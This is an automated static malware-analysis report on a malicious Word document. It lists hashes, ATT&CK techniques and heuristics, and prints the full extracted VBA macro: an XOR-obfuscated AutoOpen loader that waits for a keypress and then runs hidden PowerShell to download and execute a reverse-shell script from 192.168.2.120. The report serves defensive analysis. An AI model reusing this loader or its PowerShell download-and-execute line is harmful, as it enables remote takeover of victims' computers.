Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9fa7badde1ea4455…

MALICIOUS

Office (OOXML)

22.5 KB Created: 2021-05-31 08:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: ab2289d787cc73c409cc80704587d023 SHA-1: 8eaad98ee126de5cc5db932f6797471032c5bc50 SHA-256: 9fa7badde1ea445516932f846e58655e55c593f4575c5d89e789c8aa4d96c92a
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. The macro is obfuscated and uses CreateObject to execute commands, indicating an attempt to download and run a second-stage payload. The presence of an AutoOpen macro and the obfuscated loader strongly suggest a malicious intent, likely delivered via spearphishing.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3209 bytes
SHA-256: 60355bc171efd84c9dc1ee34a0c77cec45e754e99674dab454bf6dd04fdbd629
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
            
    #Else
    
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
#End If
Private Const VK_F9 = &H78



Function rv0l(str As String) As Variant: Dim bytes() As Byte: bytes = str: rv0l = bytes: End Function
Function zoce(bytes() As Byte) As String: Dim str As String: str = bytes: zoce = str: End Function

Function mhhw3341(str As String) As String
    Const p_ As String = "c08u3ude"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = rv0l(str)
    pb_ = rv0l(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    mhhw3341 = zoce(scb_)
End Function






Sub AutoOpen()

    w80tad9t
    
End Sub


Sub w80tad9t()
  Do While Weekday(Now()) = vbTuesday
        MsgBox mhhw3341(Chr(13) & "6" & "" & Chr(61) & "8" & " " & "" & Chr(121) & "0" & "" & "*" & Chr(121) & Chr(13) & Chr(44) & "<" & Chr(42) & "=" & "8" & Chr(32) & "")
        
        nqbyq5ix
        
    'ElseIf Weekday(Now()) <> vbTuesday Then
        'MsgBox mhhw3341(Chr(13) & "6" & "" & Chr(61) & "" & "8" & "" & " " & Chr(121) & "0" & Chr(42) & "y" & "" & "7" & "" & "6" & "" & Chr(45) & "" & "y" & "" & "" & Chr(44) & Chr(60) & "*" & Chr(61) & "8" & "" & Chr(32))
    
    'ElseIf Weekday(Now()) = vbThursday Then
        'MsgBox mhhw3341("" & "" & Chr(54) & "" & "=" & "" & "8" & "" & Chr(32) & "y" & Chr(48) & Chr(42) & "y" & Chr(13) & "" & "1" & "," & "" & "+" & "" & Chr(42) & "" & Chr(61) & "8" & Chr(32))
        
    'ElseIf Weekday(Now()) <> vbThursday Then
        'MsgBox mhhw3341(Chr(13) & Chr(54) & "=" & Chr(56) & "" & Chr(32) & "y" & "" & Chr(48) & Chr(42) & Chr(121) & "7" & "6" & Chr(45) & "y" & "" & Chr(13) & "" & "1" & "," & "" & "+" & "" & "*" & "=" & "" & "8" & "" & Chr(32) & "")
        
    'End If
   Loop

End Sub


Sub nqbyq5ix()
Do Until GetAsyncKeyState(VK_F9)
    DoEvents
Loop
 Shello
End Sub


Function Shello()

  Set objShell = CreateObject(mhhw3341(Chr(14) & Chr(42) & Chr(58) & "" & Chr(43) & "0" & "" & Chr(41) & "" & Chr(45) & Chr(119) & "" & Chr(42) & "" & Chr(49) & "" & "<" & Chr(53) & "" & "5"))
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: d04a0aeb77ea230bb9cee4f7b4826e32a53fe640a5802e9e37bdd9298e9aa278